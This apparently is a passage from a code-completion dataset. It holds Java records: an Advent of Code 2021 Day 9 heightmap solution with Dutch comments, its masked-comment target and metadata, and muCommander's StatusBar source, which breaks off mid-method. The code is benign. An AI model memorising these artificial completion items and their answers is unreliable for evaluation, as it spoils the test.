minValue = Math.min(Math.min(Math.min(price_chips, price_chips),price_ketchup),minValue);
iterations.add(new FishChipKetchupPrice(price_fish,price_chips,price_ketchup));
System.out.format("%d x ",cnt_fish);
System.out.format("%3.0f, ",price_fish);
System.out.format("%d x %3.0f, ",cnt_chips,price_chips);
System.out.format("%d x %3.0f, ",cnt_ketchup,price_ketchup);
System.out.format("guessed %3.0f, ",my_price);
System.out.format("real %3.0f",her_price);
System.out.println();
}
return new FishChipKetchupResult(minValue, maxValue, iterations);
}
}
class FishChipKetchupResult {
public double minValue;
public double maxValue;
public ArrayList<FishChipKetchupPrice> iterations;
public FishChipKetchupResult(double minValue, double maxValue, ArrayList<FishChipKetchupPrice> iterations) {
this.minValue = minValue;
this.maxValue = maxValue;
this.iterations = iterations;
}
}
class FishChipKetchupPrice {
public double fishPrice;
public double chipPrice;
public double ketchupPrice;
public FishChipKetchupPrice(double fishPrice, double chipPrice, double ketchupPrice) {
this.fishPrice = fishPrice;
this.chipPrice = chipPrice;
this.ketchupPrice = ketchupPrice;
}
} |
74022_11 | package nl.meine.adventofcode._2021;
import com.google.common.base.Splitter;
import com.google.common.collect.Lists;
import org.apache.commons.io.IOUtils;
import java.io.IOException;
import java.io.InputStream;
import java.nio.charset.StandardCharsets;
import java.util.*;
import java.util.stream.Collectors;
public class Day9 {
public int one(List<String> input) {
Heightmap h = parseHeightMap(input);
List<Integer> lps = findLowPoints(h);
List<Integer> rls = findRiskLevels(lps);
int sum = sumRiskLevels(rls);
return sum;
}
public Heightmap parseHeightMap(List<String> input) {
Heightmap result = new Heightmap();
result.matrix = new int[input.size()][input.get(0).length()];
int row = 0;
for (String line : input) {
List<String> tokens = Lists.newArrayList(Splitter.fixedLength(1).split(line));
result.matrix[row] = tokens.stream().mapToInt(Integer::parseInt).toArray();
row++;
}
return result;
}
public List<Integer> findLowPoints(Heightmap heightmap) {
List<Integer> result = new ArrayList<>();
for (int row = 0; row < heightmap.matrix.length; row++) {
for (int col = 0; col < heightmap.matrix[row].length; col++) {
if (isLowPoint(heightmap, row, col)) {
result.add(heightmap.matrix[row][col]);
}
}
}
return result;
}
public boolean isLowPoint(Heightmap h, int x, int y) {
int val = h.matrix[x][y];
List<Integer> neighbours = new ArrayList<>();
// up
if (y > 0) {
neighbours.add(h.matrix[x][y - 1]);
}
//down
if (h.matrix[x].length > y + 1) {
neighbours.add(h.matrix[x][y + 1]);
}
//left
if (x > 0) {
neighbours.add(h.matrix[x - 1][y]);
}
//right
if (h.matrix.length > x + 1) {
neighbours.add(h.matrix[x + 1][y]);
}
return neighbours.stream().allMatch(neighbour -> neighbour > val);
}
public List<Integer> findRiskLevels(List<Integer> lowPoints) {
return lowPoints.stream().map(x -> x + 1).collect(Collectors.toList());
}
public int sumRiskLevels(List<Integer> risklevels) {
return risklevels.stream().mapToInt(Integer::intValue).sum();
}
// vind eerste 0
// ga naar links tot 9: pos X
// tel voor deze rij all 0-en, zet ze op 1, sla de meest rechter positie op: POS Y
// check of er in de rij eronder een 0 zit, zo ja
// begin bij POS X, Y-1 en ga naar links tot je een 9 vind
// tel alle 0-en, totdat je X minimaal POSY.x is EN je huidige een 9
public int two(List<String> input) {
Heightmap h = parseHeightMap(input);
h = resetNonNine(h);
Coord first = findEmptySpot(h);
List<Integer> sizes = new ArrayList<>();
while (first != null) {
int size = countBasin(first, h);
sizes.add(size);
first = findEmptySpot(h);
}
List<Integer> topThree = findThreeLargest(sizes);
return multiplyEtries(topThree);
}
public int countBasin(Coord s, Heightmap h) {
Set<Coord> todo = new HashSet<>();
todo.add(s);
Set<Coord> zeroCoords = traverse(todo, h);
setToOne(zeroCoords, h);
return zeroCoords.size();
}
public Set<Coord> traverse(Set<Coord> todos, Heightmap h) {
// ga naar rechts tot 9, voeg alles toe
// kijk voor elk item of er onder een 0 zit zo ja, voeg toe
Set<Coord> temp = new HashSet<>();
for (Coord c : todos) {
temp.addAll(getNeighbours(h, c));
}
setToOne(temp, h);
if(todos.addAll(temp)){
traverse(todos, h);
}
return todos;
}
public void setToOne(Set<Coord>coords, Heightmap h){
for (Coord c: coords) {
h.matrix[c.y][c.x] = 1;
}
}
public Set<Coord> getNeighbours(Heightmap h, Coord c) {
Set<Coord> todos = new HashSet<>();
if ((c.x + 1) < h.matrix[c.y].length && h.matrix[c.y][c.x + 1] == 0) {
todos.add(new Coord(c.x + 1, c.y));
}
if (c.x != 0 && h.matrix[c.y][c.x - 1] == 0) {
todos.add(new Coord(c.x - 1, c.y));
}
if ((c.y + 1) < h.matrix.length && h.matrix[c.y + 1][c.x] == 0) {
todos.add(new Coord(c.x, c.y + 1));
}
if (c.y != 0 && h.matrix[c.y - 1][c.x] == 0) {
todos.add(new Coord(c.x, c.y - 1));
}
return todos;
}
public boolean hasNeighbour(Coord s, Heightmap h) {
return false;
}
public Heightmap resetNonNine(Heightmap h) {
for (int row = 0; row < h.matrix.length; row++) {
for (int col = 0; col < h.matrix[row].length; col++) {
if (h.matrix[row][col] != 9) {
h.matrix[row][col] = 0;
}
}
}
return h;
}
public Coord findEmptySpot(Heightmap h) {
for (int row = 0; row < h.matrix.length; row++) {
Coord c = findEmptySpot(h, row);
if (c != null) {
return c;
}
}
return null;
}
public Coord findEmptySpot(Heightmap h, int row) {
for (int col = 0; col < h.matrix[row].length; col++) {
if (h.matrix[row][col] == 0) {
return new Coord(col, row);
}
}
return null;
}
public List<Integer> findThreeLargest(List<Integer> sizes) {
List<Integer> ints = sizes.stream().sorted().collect(Collectors.toList());
Collections.reverse(ints);
return ints.stream().limit(3).collect(Collectors.toList());
}
public int multiplyEtries(List<Integer> sizes) {
int result = sizes.get(0);
result *= sizes.get(1);
result *= sizes.get(2);
return result;
}
// maak alle niet-negens 0
// begin op 0,0
// vind eerste 0, POS X
// ga naar rechts tot je een 9 tegenkomt
// zet elke plek die je tegenkomst op 1, hoog basinteller op
// ga POS X->y-1
// ga naar links tot je een 9 tegenkomt: POS Y
// ga naar rechts tot je een 9 tegenkomst
// sla basinteller in een list op
// vind de 3 grootste basintellers, multiply
public static void main(String[] args) throws IOException {
Day9 d = new Day9();
InputStream is = Day9.class.getClassLoader().getResourceAsStream("inputday9.txt");
List<String> linesString = IOUtils.readLines(is, StandardCharsets.UTF_8);
System.out.println("Numbers larger: " + d.two(linesString));
}
}
class Heightmap {
int[][] matrix;
}
class Coord {
public Coord() {
}
public Coord(int x, int y) {
this.x = x;
this.y = y;
}
int x, y;
@Override
public boolean equals(Object o) {
if (this == o) return true;
if (o == null || getClass() != o.getClass()) return false;
Coord coord = (Coord) o;
return x == coord.x && y == coord.y;
}
@Override
public int hashCode() {
return Objects.hash(x, y);
}
}
| mtoonen/advent-code | src/main/java/nl/meine/adventofcode/_2021/Day9.java | 2,479 | // ga naar rechts tot je een 9 tegenkomt | line_comment | nl | package nl.meine.adventofcode._2021;
import com.google.common.base.Splitter;
import com.google.common.collect.Lists;
import org.apache.commons.io.IOUtils;
import java.io.IOException;
import java.io.InputStream;
import java.nio.charset.StandardCharsets;
import java.util.*;
import java.util.stream.Collectors;
public class Day9 {
public int one(List<String> input) {
Heightmap h = parseHeightMap(input);
List<Integer> lps = findLowPoints(h);
List<Integer> rls = findRiskLevels(lps);
int sum = sumRiskLevels(rls);
return sum;
}
public Heightmap parseHeightMap(List<String> input) {
Heightmap result = new Heightmap();
result.matrix = new int[input.size()][input.get(0).length()];
int row = 0;
for (String line : input) {
List<String> tokens = Lists.newArrayList(Splitter.fixedLength(1).split(line));
result.matrix[row] = tokens.stream().mapToInt(Integer::parseInt).toArray();
row++;
}
return result;
}
public List<Integer> findLowPoints(Heightmap heightmap) {
List<Integer> result = new ArrayList<>();
for (int row = 0; row < heightmap.matrix.length; row++) {
for (int col = 0; col < heightmap.matrix[row].length; col++) {
if (isLowPoint(heightmap, row, col)) {
result.add(heightmap.matrix[row][col]);
}
}
}
return result;
}
public boolean isLowPoint(Heightmap h, int x, int y) {
int val = h.matrix[x][y];
List<Integer> neighbours = new ArrayList<>();
// up
if (y > 0) {
neighbours.add(h.matrix[x][y - 1]);
}
//down
if (h.matrix[x].length > y + 1) {
neighbours.add(h.matrix[x][y + 1]);
}
//left
if (x > 0) {
neighbours.add(h.matrix[x - 1][y]);
}
//right
if (h.matrix.length > x + 1) {
neighbours.add(h.matrix[x + 1][y]);
}
return neighbours.stream().allMatch(neighbour -> neighbour > val);
}
public List<Integer> findRiskLevels(List<Integer> lowPoints) {
return lowPoints.stream().map(x -> x + 1).collect(Collectors.toList());
}
public int sumRiskLevels(List<Integer> risklevels) {
return risklevels.stream().mapToInt(Integer::intValue).sum();
}
// vind eerste 0
// ga naar links tot 9: pos X
// tel voor deze rij all 0-en, zet ze op 1, sla de meest rechter positie op: POS Y
// check of er in de rij eronder een 0 zit, zo ja
// begin bij POS X, Y-1 en ga naar links tot je een 9 vind
// tel alle 0-en, totdat je X minimaal POSY.x is EN je huidige een 9
public int two(List<String> input) {
Heightmap h = parseHeightMap(input);
h = resetNonNine(h);
Coord first = findEmptySpot(h);
List<Integer> sizes = new ArrayList<>();
while (first != null) {
int size = countBasin(first, h);
sizes.add(size);
first = findEmptySpot(h);
}
List<Integer> topThree = findThreeLargest(sizes);
return multiplyEtries(topThree);
}
public int countBasin(Coord s, Heightmap h) {
Set<Coord> todo = new HashSet<>();
todo.add(s);
Set<Coord> zeroCoords = traverse(todo, h);
setToOne(zeroCoords, h);
return zeroCoords.size();
}
public Set<Coord> traverse(Set<Coord> todos, Heightmap h) {
// ga naar rechts tot 9, voeg alles toe
// kijk voor elk item of er onder een 0 zit zo ja, voeg toe
Set<Coord> temp = new HashSet<>();
for (Coord c : todos) {
temp.addAll(getNeighbours(h, c));
}
setToOne(temp, h);
if(todos.addAll(temp)){
traverse(todos, h);
}
return todos;
}
public void setToOne(Set<Coord>coords, Heightmap h){
for (Coord c: coords) {
h.matrix[c.y][c.x] = 1;
}
}
public Set<Coord> getNeighbours(Heightmap h, Coord c) {
Set<Coord> todos = new HashSet<>();
if ((c.x + 1) < h.matrix[c.y].length && h.matrix[c.y][c.x + 1] == 0) {
todos.add(new Coord(c.x + 1, c.y));
}
if (c.x != 0 && h.matrix[c.y][c.x - 1] == 0) {
todos.add(new Coord(c.x - 1, c.y));
}
if ((c.y + 1) < h.matrix.length && h.matrix[c.y + 1][c.x] == 0) {
todos.add(new Coord(c.x, c.y + 1));
}
if (c.y != 0 && h.matrix[c.y - 1][c.x] == 0) {
todos.add(new Coord(c.x, c.y - 1));
}
return todos;
}
public boolean hasNeighbour(Coord s, Heightmap h) {
return false;
}
public Heightmap resetNonNine(Heightmap h) {
for (int row = 0; row < h.matrix.length; row++) {
for (int col = 0; col < h.matrix[row].length; col++) {
if (h.matrix[row][col] != 9) {
h.matrix[row][col] = 0;
}
}
}
return h;
}
public Coord findEmptySpot(Heightmap h) {
for (int row = 0; row < h.matrix.length; row++) {
Coord c = findEmptySpot(h, row);
if (c != null) {
return c;
}
}
return null;
}
public Coord findEmptySpot(Heightmap h, int row) {
for (int col = 0; col < h.matrix[row].length; col++) {
if (h.matrix[row][col] == 0) {
return new Coord(col, row);
}
}
return null;
}
public List<Integer> findThreeLargest(List<Integer> sizes) {
List<Integer> ints = sizes.stream().sorted().collect(Collectors.toList());
Collections.reverse(ints);
return ints.stream().limit(3).collect(Collectors.toList());
}
public int multiplyEtries(List<Integer> sizes) {
int result = sizes.get(0);
result *= sizes.get(1);
result *= sizes.get(2);
return result;
}
// maak alle niet-negens 0
// begin op 0,0
// vind eerste 0, POS X
// ga naar<SUF>
// zet elke plek die je tegenkomst op 1, hoog basinteller op
// ga POS X->y-1
// ga naar links tot je een 9 tegenkomt: POS Y
// ga naar rechts tot je een 9 tegenkomst
// sla basinteller in een list op
// vind de 3 grootste basintellers, multiply
public static void main(String[] args) throws IOException {
Day9 d = new Day9();
InputStream is = Day9.class.getClassLoader().getResourceAsStream("inputday9.txt");
List<String> linesString = IOUtils.readLines(is, StandardCharsets.UTF_8);
System.out.println("Numbers larger: " + d.two(linesString));
}
}
class Heightmap {
int[][] matrix;
}
class Coord {
public Coord() {
}
public Coord(int x, int y) {
this.x = x;
this.y = y;
}
int x, y;
@Override
public boolean equals(Object o) {
if (this == o) return true;
if (o == null || getClass() != o.getClass()) return false;
Coord coord = (Coord) o;
return x == coord.x && y == coord.y;
}
@Override
public int hashCode() {
return Objects.hash(x, y);
}
}
|
76286_92 | /*
* This file is part of muCommander, http://www.mucommander.com
*
* muCommander is free software; you can redistribute it and/or modify
* it under the terms of the GNU General Public License as published by
* the Free Software Foundation; either version 3 of the License, or
* (at your option) any later version.
*
* muCommander is distributed in the hope that it will be useful,
* but WITHOUT ANY WARRANTY; without even the implied warranty of
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
* GNU General Public License for more details.
*
* You should have received a copy of the GNU General Public License
* along with this program. If not, see <http://www.gnu.org/licenses/>.
*/
package com.mucommander.ui.main;
import java.awt.BorderLayout;
import java.awt.Color;
import java.awt.Dimension;
import java.awt.FlowLayout;
import java.awt.Graphics;
import java.awt.event.ComponentAdapter;
import java.awt.event.ComponentEvent;
import java.awt.event.MouseAdapter;
import java.awt.event.MouseEvent;
import java.awt.event.WindowAdapter;
import java.awt.event.WindowEvent;
import java.awt.image.BufferedImage;
import java.io.IOException;
import javax.swing.Box;
import javax.swing.Icon;
import javax.swing.ImageIcon;
import javax.swing.JLabel;
import javax.swing.JPanel;
import javax.swing.JPopupMenu;
import javax.swing.SwingConstants;
import org.slf4j.Logger;
import org.slf4j.LoggerFactory;
import com.mucommander.commons.conf.ConfigurationEvent;
import com.mucommander.commons.conf.ConfigurationListener;
import com.mucommander.commons.file.AbstractFile;
import com.mucommander.commons.util.ui.border.MutableLineBorder;
import com.mucommander.conf.MuConfigurations;
import com.mucommander.conf.MuPreference;
import com.mucommander.conf.MuPreferences;
import com.mucommander.core.desktop.DesktopManager;
import com.mucommander.desktop.ActionType;
import com.mucommander.text.SizeFormat;
import com.mucommander.text.Translator;
import com.mucommander.ui.action.ActionManager;
import com.mucommander.ui.event.ActivePanelListener;
import com.mucommander.ui.event.LocationEvent;
import com.mucommander.ui.event.LocationListener;
import com.mucommander.ui.event.TableSelectionListener;
import com.mucommander.ui.icon.SpinningDial;
import com.mucommander.ui.main.table.FileTable;
import com.mucommander.ui.main.table.FileTableModel;
import com.mucommander.ui.theme.ColorChangedEvent;
import com.mucommander.ui.theme.FontChangedEvent;
import com.mucommander.ui.theme.Theme;
import com.mucommander.ui.theme.ThemeListener;
import com.mucommander.ui.theme.ThemeManager;
/**
* StatusBar is the component that sits at the bottom of each MainFrame, between the folder panels and command bar.
* There is one and only one StatusBar per MainFrame, created by the associated MainFrame. It can be hidden,
* but the instance will always remain, until the MainFrame is disposed.
*
* <p>StatusBar is used to display info about the total/selected number of files in the current folder and current volume's
* free/total space. When a folder is being changed, a waiting message is displayed. When quick search is being used,
* the current quick search string is displayed.
*
* <p>StatusBar receives LocationListener events when the folder has or is being changed, and automatically updates
* selected files and volume info, and display the waiting message when the folder is changing. Quick search info
* is set by FileTable.QuickSearch.
*
* <p>When StatusBar is visible, a Thread runs in the background to periodically update free/total space volume info.
* This thread stops when the StatusBar is hidden.
*
* @author Maxence Bernard
*/
public class StatusBar extends JPanel {
private static final Logger LOGGER = LoggerFactory.getLogger(StatusBar.class);
private MainFrame mainFrame;
/** Label that displays info about current selected file(s) */
private JLabel selectedFilesLabel;
/** Icon used while loading is in progress. */
private SpinningDial dial;
/** Label that displays info about current volume (free/total space) */
private VolumeSpaceLabel volumeSpaceLabel;
/** Thread which auto updates volume info */
private Thread autoUpdateThread;
/** Number of milliseconds between each volume info update by auto-update thread */
private final static int AUTO_UPDATE_PERIOD = 60000;
/** Icon that is displayed when folder is changing */
public final static String WAITING_ICON = "waiting.png";
/** SizeFormat's format used to display volume info in status bar */
public final static int VOLUME_INFO_SIZE_FORMAT = SizeFormat.DIGITS_MEDIUM | SizeFormat.UNIT_SHORT | SizeFormat.INCLUDE_SPACE;
/** Listens to configuration changes and updates static fields accordingly */
public final static ConfigurationListener CONFIGURATION_ADAPTER;
/** SizeFormat format used to create the selected file(s) size string */
private static int selectedFileSizeFormat;
/** Indicates whether the main frame that holds this status bar has been disposed */
private boolean mainFrameDisposed;
/** Indicates whether {@link #autoUpdateThread} has been notified */
private boolean autoUpdateThreadNotified;
/** Holds the path of the volume for which free/total space was last retrieved by {@link #autoUpdateThread} */
private String volumePath;
/** hold references to listeners that are stored with weak references to prevent them from being collected by the garbage collector */
private LocationListener locationListener;
private TableSelectionListener tableSelectionListener;
private ActivePanelListener activePanelListener;
private ThemeListener themeListener;
static {
// Initialize the size column format based on the configuration
setSelectedFileSizeFormat(MuConfigurations.getPreferences().getVariable(MuPreference.DISPLAY_COMPACT_FILE_SIZE,
MuPreferences.DEFAULT_DISPLAY_COMPACT_FILE_SIZE));
// Listens to configuration changes and updates static fields accordingly.
// Note: a reference to the listener must be kept to prevent it from being garbage-collected.
CONFIGURATION_ADAPTER = new ConfigurationListener() {
public synchronized void configurationChanged(ConfigurationEvent event) {
String var = event.getVariable();
if (var.equals(MuPreferences.DISPLAY_COMPACT_FILE_SIZE))
setSelectedFileSizeFormat(event.getBooleanValue());
}
};
MuConfigurations.addPreferencesListener(CONFIGURATION_ADAPTER);
}
/**
* Sets the SizeFormat format used to create the selected file(s) size string.
*
* @param compactSize true to use a compact size format, false for full size in bytes
*/
private static void setSelectedFileSizeFormat(boolean compactSize) {
if(compactSize)
selectedFileSizeFormat = SizeFormat.DIGITS_MEDIUM | SizeFormat.UNIT_SHORT | SizeFormat.ROUND_TO_KB;
else
selectedFileSizeFormat = SizeFormat.DIGITS_FULL | SizeFormat.UNIT_LONG;
selectedFileSizeFormat |= SizeFormat.INCLUDE_SPACE;
}
/**
* Creates a new StatusBar instance.
*/
public StatusBar(MainFrame mainFrame) {
// Create and add status bar
setLayout(new BorderLayout());
this.mainFrame = mainFrame;
selectedFilesLabel = new JLabel("");
dial = new SpinningDial();
add(selectedFilesLabel, BorderLayout.CENTER);
JPanel eastPanel = new JPanel(new FlowLayout(FlowLayout.CENTER, 0, 0));
JobsPopupButton jobsButton = new JobsPopupButton();
jobsButton.setPopupMenuLocation(SwingConstants.TOP);
eastPanel.add(jobsButton);
eastPanel.add(Box.createRigidArea(new Dimension(2, 0)));
// Add a button for interacting with the trash, only if the current platform has a trash implementation
if (DesktopManager.getTrash() != null) {
TrashPopupButton trashButton = new TrashPopupButton(mainFrame);
trashButton.setPopupMenuLocation(SwingConstants.TOP);
eastPanel.add(trashButton);
eastPanel.add(Box.createRigidArea(new Dimension(2, 0)));
}
volumeSpaceLabel = new VolumeSpaceLabel();
eastPanel.add(volumeSpaceLabel);
add(eastPanel, BorderLayout.EAST);
// Show/hide this status bar based on user preferences
// Note: setVisible has to be called even with true for the auto-update thread to be initialized
setVisible(MuConfigurations.getPreferences().getVariable(MuPreference.STATUS_BAR_VISIBLE, MuPreferences.DEFAULT_STATUS_BAR_VISIBLE));
// Catch location events to update status bar info when folder is changed
locationListener = new LocationListener() {
@Override
public void locationChanged(LocationEvent e) {
dial.setAnimated(false);
updateStatusInfo();
}
@Override
public void locationChanging(LocationEvent e) {
// Show a message in the status bar saying that folder is being changed
setStatusInfo(Translator.get("status_bar.connecting_to_folder"), dial, true);
dial.setAnimated(true);
}
@Override
public void locationCancelled(LocationEvent e) {
dial.setAnimated(false);
updateStatusInfo();
}
@Override
public void locationFailed(LocationEvent e) {
dial.setAnimated(false);
updateStatusInfo();
}
};
FolderPanel leftPanel = mainFrame.getLeftPanel();
leftPanel.getLocationManager().addLocationListener(locationListener);
FolderPanel rightPanel = mainFrame.getRightPanel();
rightPanel.getLocationManager().addLocationListener(locationListener);
// Catch table selection change events to update the selected files info when the selected files have changed on
// one of the file tables
tableSelectionListener = new TableSelectionListener() {
@Override
public void selectedFileChanged(FileTable source) {
// No need to update if the originating FileTable is not the currently active one
if(source==mainFrame.getActiveTable() && mainFrame.isForegroundActive())
updateSelectedFilesInfo();
}
@Override
public void markedFilesChanged(FileTable source) {
// No need to update if the originating FileTable is not the currently active one
if(source==mainFrame.getActiveTable() && mainFrame.isForegroundActive())
updateSelectedFilesInfo();
}
};
leftPanel.getFileTable().addTableSelectionListener(tableSelectionListener);
rightPanel.getFileTable().addTableSelectionListener(tableSelectionListener);
// Catch active panel change events to update status bar info when current table has changed
activePanelListener = folderPanel -> updateStatusInfo();
mainFrame.addActivePanelListener(activePanelListener);
// Catch main frame close events to make sure autoUpdateThread is finished
mainFrame.getJFrame().addWindowListener(new WindowAdapter() {
@Override
public void windowClosed(WindowEvent e) {
mainFrameDisposed = true;
triggerVolumeInfoUpdate();
}
});
// Catch window gained focus events to update the volume info when current windows has changed
mainFrame.getJFrame().addWindowFocusListener(new WindowAdapter() {
@Override
public void windowGainedFocus(WindowEvent e) {
triggerVolumeInfoUpdate();
}
});
// Catch mouse events to pop up a menu on right-click
MouseAdapter mouseAdapter = new MouseAdapter() {
@Override
public void mouseClicked(MouseEvent e) {
// Discard mouse events while in 'no events mode'
if (mainFrame.getNoEventsMode())
return;
// Right clicking on the toolbar brings up a popup menu that allows the user to hide this status bar
if (DesktopManager.isRightMouseButton(e)) {
// if (e.isPopupTrigger()) { // Doesn't work under Mac OS X (CTRL+click doesn't return true)
JPopupMenu popupMenu = new JPopupMenu();
popupMenu.add(ActionManager.getActionInstance(ActionType.ToggleStatusBar, mainFrame));
popupMenu.show(StatusBar.this, e.getX(), e.getY());
popupMenu.setVisible(true);
}
};
};
selectedFilesLabel.addMouseListener(mouseAdapter);
volumeSpaceLabel.addMouseListener(mouseAdapter);
addMouseListener(mouseAdapter);
// Catch component events to be notified when this component is made visible
// and update status info
addComponentListener(new ComponentAdapter() {
@Override
public void componentShown(ComponentEvent e) {
// Invoked when the component has been made visible (apparently not called when just created)
// Status bar needs to be updated since it is not updated when not visible
updateStatusInfo();
};
});
// Initialises theme.
selectedFilesLabel.setFont(ThemeManager.getCurrentFont(Theme.STATUS_BAR_FONT));
selectedFilesLabel.setForeground(ThemeManager.getCurrentColor(Theme.STATUS_BAR_FOREGROUND_COLOR));
volumeSpaceLabel.setFont(ThemeManager.getCurrentFont(Theme.STATUS_BAR_FONT));
volumeSpaceLabel.setForeground(ThemeManager.getCurrentColor(Theme.STATUS_BAR_FOREGROUND_COLOR));
themeListener = new ThemeListener() {
@Override
public void fontChanged(FontChangedEvent event) {
if(event.getFontId() == Theme.STATUS_BAR_FONT) {
selectedFilesLabel.setFont(event.getFont());
volumeSpaceLabel.setFont(event.getFont());
repaint();
}
}
@Override
public void colorChanged(ColorChangedEvent event) {
if(event.getColorId() == Theme.STATUS_BAR_FOREGROUND_COLOR) {
selectedFilesLabel.setForeground(event.getColor());
volumeSpaceLabel.setForeground(event.getColor());
repaint();
}
}
};
ThemeManager.addCurrentThemeListener(themeListener);
}
/**
* Updates info displayed on the status bar: currently selected files and volume info.
*/
private void updateStatusInfo() {
// No need to waste precious cycles if status bar is not visible
if (!isVisible())
return;
updateSelectedFilesInfo();
if (isVolumeChanged())
triggerVolumeInfoUpdate();
}
/**
* Updates info about currently selected files ((nb of selected files, combined size), displayed on the left-side of this status bar.
*/
// Making this method synchronized creates a deadlock with FileTable
// public synchronized void updateSelectedFilesInfo() {
public void updateSelectedFilesInfo() {
// No need to waste precious cycles if status bar is not visible
if (!isVisible())
return;
FileTable currentFileTable = mainFrame.getActiveTable();
// Currently select file, can be null
AbstractFile selectedFile = currentFileTable.getSelectedFile(false, true);
FileTableModel tableModel = currentFileTable.getFileTableModel();
// Number of marked files, can be 0
int nbMarkedFiles = tableModel.getNbMarkedFiles();
// Combined size of marked files, 0 if no file has been marked
long markedTotalSize = tableModel.getTotalMarkedSize();
// number of files in folder
int fileCount = tableModel.getFileCount();
// Update files info based on marked files if there are some, or currently selected file otherwise
int nbSelectedFiles;
if(nbMarkedFiles==0 && selectedFile!=null)
nbSelectedFiles = 1;
else
nbSelectedFiles = nbMarkedFiles;
StringBuilder filesInfo = new StringBuilder();
String tooltip = null;
if (fileCount==0) {
// Set status bar to a space character, not an empty string
// otherwise it will disappear
filesInfo.append(" ");
} else {
filesInfo.append(Translator.get("status_bar.selected_files", nbSelectedFiles, fileCount));
if (nbMarkedFiles > 0)
filesInfo.append(String.format(" - %s", SizeFormat.format(markedTotalSize, selectedFileSizeFormat)));
if (selectedFile != null) {
filesInfo.append(String.format(" - %s", selectedFile.getName()));
tooltip = selectedFile.getName();
}
}
// Update label
setStatusInfo(filesInfo.toString(), tooltip, null, false);
}
/**
* Displays the specified text and icon on the left-side of the status bar,
* replacing any previous information.
*
* @param text the piece of text to display
* @param icon the icon to display next to the text
* @param iconBeforeText if true, icon will be placed on the left side of the text, if not on the right side
*/
public void setStatusInfo(String text, Icon icon, boolean iconBeforeText) {
setStatusInfo(text, null, icon, iconBeforeText);
}
private void setStatusInfo(String text, String tooltip, Icon icon, boolean iconBeforeText) {
selectedFilesLabel.setText(text);
selectedFilesLabel.setToolTipText(tooltip);
if(icon==null) {
// What we don't want here is the label's height to change depending on whether it has an icon or not.
// This would result in having to revalidate the status bar and in turn the whole MainFrame.
// A label's height is roughly the max of the text's font height and the icon (if any). So if there is no
// icon for the label, we use a transparent image for padding in case the text's font height is smaller
// than a 'standard' (16x16) icon. This ensures that the label's height remains constant.
BufferedImage bi = new BufferedImage(1, 16, BufferedImage.TYPE_INT_ARGB);
icon = new ImageIcon(bi);
}
selectedFilesLabel.setIcon(icon);
selectedFilesLabel.setHorizontalTextPosition(iconBeforeText?JLabel.TRAILING:JLabel.LEADING);
}
/**
* Displays the specified text on the left-side of the status bar,
* replacing any previous text and icon.
*
* @param infoMessage the piece of text to display
*/
public void setStatusInfo(String infoMessage) {
setStatusInfo(infoMessage, null, false);
}
/**
* Starts a volume info auto-update thread, only if there isn't already one running.
*/
private synchronized void startAutoUpdate() {
if (autoUpdateThread==null) {
// Start volume info auto-update thread
autoUpdateThread = new Thread(() -> {
// Periodically updates volume info (free / total space).
while (!mainFrameDisposed) { // Stop when MainFrame is disposed
// Update volume info if:
// - status bar is visible
// - MainFrame is active and in the foreground
// Volume info update will potentially hit the LRU cache and not actually update volume info
if (isVisible() && mainFrame.isForegroundActive()) {
final AbstractFile currentFolder = getCurrentFolder();
volumePath = getVolumePath(currentFolder);
// Retrieves free and total volume space.
long volumeFree = getFreeSpace(currentFolder);
long volumeTotal = getTotalSpace(currentFolder);
volumeSpaceLabel.setVolumeSpace(volumeTotal, volumeFree);
}
// Sleep for a while
if (!autoUpdateThreadNotified) {
synchronized(autoUpdateThread) {
if (!autoUpdateThreadNotified) {
try { autoUpdateThread.wait(AUTO_UPDATE_PERIOD); }
catch (InterruptedException e) {}
}
}
}
autoUpdateThreadNotified = false;
}
}, "DiskFreeUpdater");
autoUpdateThread.setName("StatusBar autoUpdateThread");
// Set the thread as a daemon thread
autoUpdateThread.setDaemon(true);
autoUpdateThread.start();
}
}
/**
* Overrides JComponent.setVisible(boolean) to start/stop volume info auto-update thread.
*/
@Override
public void setVisible(boolean visible) {
super.setVisible(visible);
if (visible) {
// Start auto-update thread
startAutoUpdate();
// Update status bar info
updateStatusInfo();
}
}
private AbstractFile getCurrentFolder() {
return mainFrame.getActivePanel().getCurrentFolder();
}
private String getVolumePath(AbstractFile folder) {
return folder.exists() ? folder.getVolume().getAbsolutePath(true) : "";
}
private boolean isVolumeChanged() {
return volumePath == null || !volumePath.equals(getVolumePath(getCurrentFolder()));
}
private void triggerVolumeInfoUpdate() {
if (!autoUpdateThreadNotified && autoUpdateThread != null) {
synchronized(autoUpdateThread) {
if (!autoUpdateThreadNotified) {
autoUpdateThreadNotified = true;
autoUpdateThread.notify();
}
}
}
}
/**
* @return Free space on current volume, -1 if this information is not available
*/
private long getFreeSpace(AbstractFile currentFolder) {
try { return currentFolder.getFreeSpace(); }
catch(IOException e) { return -1; }
}
/**
* @return Total space on current volume, -1 if this information is not available
*/
private long getTotalSpace(AbstractFile currentFolder) {
try { return currentFolder.getTotalSpace(); }
catch(IOException e) { return -1; }
}
///////////////////
// Inner classes //
///////////////////
/**
* This label displays the amount of free and/or total space on a volume.
*/
private static class VolumeSpaceLabel extends JLabel implements ThemeListener {
private long freeSpace;
private long totalSpace;
private Color backgroundColor;
private Color okColor;
private Color warningColor;
private Color criticalColor;
private final static float SPACE_WARNING_THRESHOLD = 0.1f;
private final static float SPACE_CRITICAL_THRESHOLD = 0.05f;
private VolumeSpaceLabel() {
super("");
setHorizontalAlignment(CENTER);
backgroundColor = ThemeManager.getCurrentColor(Theme.STATUS_BAR_BACKGROUND_COLOR);
// borderColor = ThemeManager.getCurrentColor(Theme.STATUS_BAR_BORDER_COLOR);
okColor = ThemeManager.getCurrentColor(Theme.STATUS_BAR_OK_COLOR);
warningColor = ThemeManager.getCurrentColor(Theme.STATUS_BAR_WARNING_COLOR);
criticalColor = ThemeManager.getCurrentColor(Theme.STATUS_BAR_CRITICAL_COLOR);
setBorder(new MutableLineBorder(ThemeManager.getCurrentColor(Theme.STATUS_BAR_BORDER_COLOR)));
ThemeManager.addCurrentThemeListener(this);
}
/**
* Sets the new volume total and free space, and updates the label's text to show the new values and,
* only if both total and free space are available (different from -1), paint a graphical representation
* of the amount of free space available and set a tooltip showing the percentage of free space on the volume.
*
* @param totalSpace total volume space, -1 if not available
* @param freeSpace free volume space, -1 if not available
*/
private void setVolumeSpace(long totalSpace, long freeSpace) {
this.freeSpace = freeSpace;
this.totalSpace = totalSpace;
// Set new label's text
String volumeInfo;
if(freeSpace!=-1) {
volumeInfo = SizeFormat.format(freeSpace, VOLUME_INFO_SIZE_FORMAT);
